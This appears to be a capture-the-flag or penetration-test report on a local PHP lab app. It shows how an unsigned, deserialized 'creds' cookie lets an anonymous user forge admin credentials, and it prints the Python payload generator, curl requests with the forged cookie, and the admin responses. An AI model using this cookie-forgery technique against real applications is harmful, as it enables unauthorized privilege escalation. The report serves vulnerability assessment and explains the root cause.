# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: Client-Side Authorization Bypass via Cookie Manipulation

**Summary:**
- **Vulnerable location:** GET /index.php with deserialization of user-controlled `creds` cookie at line 82
- **Overview:** The application stores authentication credentials in a client-controlled cookie without any signature verification or integrity protection. An attacker can forge a cookie containing admin credentials to bypass authorization checks and escalate from anonymous user to administrator.
- **Impact:** Complete privilege escalation from anonymous to admin role, granting unauthorized access to the flag (sensitive administrative data). This demonstrates a critical authorization bypass vulnerability that violates the fundamental security principle that authorization decisions must be based on server-controlled state.
- **Severity:** Critical

**Prerequisites:** None

**Exploitation Steps:**

1. **Generate the malicious admin cookie payload:**
   ```bash
   python3 -c "
   import base64
   # Create serialized PHP array with admin credentials
   # Format: a:2:{s:8:\"username\";s:5:\"admin\";s:8:\"password\";s:23:\"kl!RtYuUUig664ds32AKA87\";}
   admin_payload = 'a:2:{s:8:\"username\";s:5:\"admin\";s:8:\"password\";s:23:\"kl!RtYuUUig664ds32AKA87\";}'
   malicious_cookie = base64.b64encode(admin_payload.encode()).decode()
   print(malicious_cookie)
   "
   ```
   
   **Output:** `YToyOntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjIzOiJrbCFSdFl1VVVpZzY2NGRzMzJBS0E4NyI7fQ==`

2. **Send HTTP request with forged admin cookie to escalate privileges:**
   ```bash
   curl -H "Cookie: creds=YToyOntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjIzOiJrbCFSdFl1VVVpZzY2NGRzMzJBS0E4NyI7fQ==" \
        http://localhost:42759/index.php
   ```

3. **Verify successful privilege escalation:**
   The response contains:
   ```html
   <center><h2>Welcome Admin</h2></center>
   <center><h3>Congratulations, here is the flag: </h3></center>
   ```

**Proof of Impact:**

The exploitation successfully demonstrates vertical privilege escalation:

**Before exploitation (anonymous user):**
```bash
curl -s http://localhost:42759/index.php | grep -E "(Welcome|Login)"
```
**Response:**
```html
<h1>Welcome to Springfield!</h1>
<button type="submit">Login</button>
```
- Anonymous users only see the public landing page and login form
- No access to admin functionality or sensitive data

**After exploitation (forged admin cookie):**
```bash
curl -s -H "Cookie: creds=YToyOntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjIzOiJrbCFSdFl1VVVpZzY2NGRzMzJBS0E4NyI7fQ==" \
     http://localhost:42759/index.php | grep -E "(Welcome Admin|flag)"
```
**Response:**
```html
<center><h2>Welcome Admin</h2></center>
<center><h3>Congratulations, here is the flag: </h3></center>
```
- Application displays "Welcome Admin" message (admin role confirmed)
- Flag display logic is triggered (access to protected sensitive data)
- Complete privilege escalation from anonymous (level 0) to admin (level 10) achieved

**Technical Details:**

The vulnerability exists because:
1. The application deserializes user-controlled cookie data without validation (line 82 of index.php)
2. Authorization decisions are based entirely on client-provided values from the deserialized cookie (line 83 of index.php)
3. No server-side session storage or signature verification protects against cookie manipulation
4. The hardcoded admin password is visible in source code, enabling trivial credential forgery

**Root Cause:** The application violates the fundamental security principle that authorization state must be controlled server-side. By storing authentication credentials in an unsigned client-side cookie and trusting the deserialized contents, the application allows any attacker to forge admin credentials and bypass all authorization controls.

**Notes:**

This vulnerability represents a **Level 4 - Critical Privilege Escalation** (using the proof levels from the methodology):
- Complete privilege escalation with access to administrative functions
- Successful access to protected sensitive data (flag)
- Full reproducibility with concrete evidence

The exploitation technique used is cookie manipulation combined with insecure deserialization (CWE-502). The same vulnerability could potentially be exploited for PHP object injection if exploitable classes exist in the runtime environment, though this was not necessary for achieving administrative access.